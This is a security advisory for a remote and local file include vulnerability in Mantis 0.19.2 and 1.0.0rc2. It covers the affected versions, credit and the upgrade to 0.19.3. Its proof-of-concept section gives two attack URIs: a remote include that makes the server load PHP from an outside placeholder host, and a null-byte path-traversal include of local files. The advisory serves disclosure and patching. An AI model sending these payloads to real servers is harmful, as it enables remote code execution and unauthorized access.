Mantis Bug_sponsorship_list_view_inc.PHP File Include Vulnerability

Bugtraq ID:	15212
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 26 2005 12:00AM
Updated:	Oct 26 2005 12:00AM
Credit:	Andreas Sandblad is credited with the discovery of this vulnerability.
Vulnerable:	Mantis Mantis 1.0 .0rc2 Mantis Mantis 0.19.2
Not Vulnerable:

Mantis Bug_sponsorship_list_view_inc.PHP File Include Vulnerability

Mantis is prone to a remote and local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote and local PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Versions 0.19.2 and 1.0.0rc2 are affected; an upgrade to version 0.19.3 is available.

Mantis Bug_sponsorship_list_view_inc.PHP File Include Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://www.example.com/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00

Mantis Bug_sponsorship_list_view_inc.PHP File Include Vulnerability

Solution:
Mantis Version 0.19.3 is available to resolve this issue.


Mantis Mantis 0.19.2

• Mantis mantis-0.19.3.tar.gz
  http://prdownloads.sourceforge.net/mantisbt/mantis-0.19.3.tar.gz

Mantis Mantis 1.0 .0rc2

• Mantis mantis-0.19.3.tar.gz
  http://prdownloads.sourceforge.net/mantisbt/mantis-0.19.3.tar.gz

Mantis Bug_sponsorship_list_view_inc.PHP File Include Vulnerability

References:

• Mantis "t_core_path" File Inclusion Vulnerability (Secunia)
  
• Mantis Homepage (Mantis)
  
• Vendor Changelog (Mantis)
  
• Secunia Research: Mantis "t_core_path" File Inclusion Vulnerability ([email protected])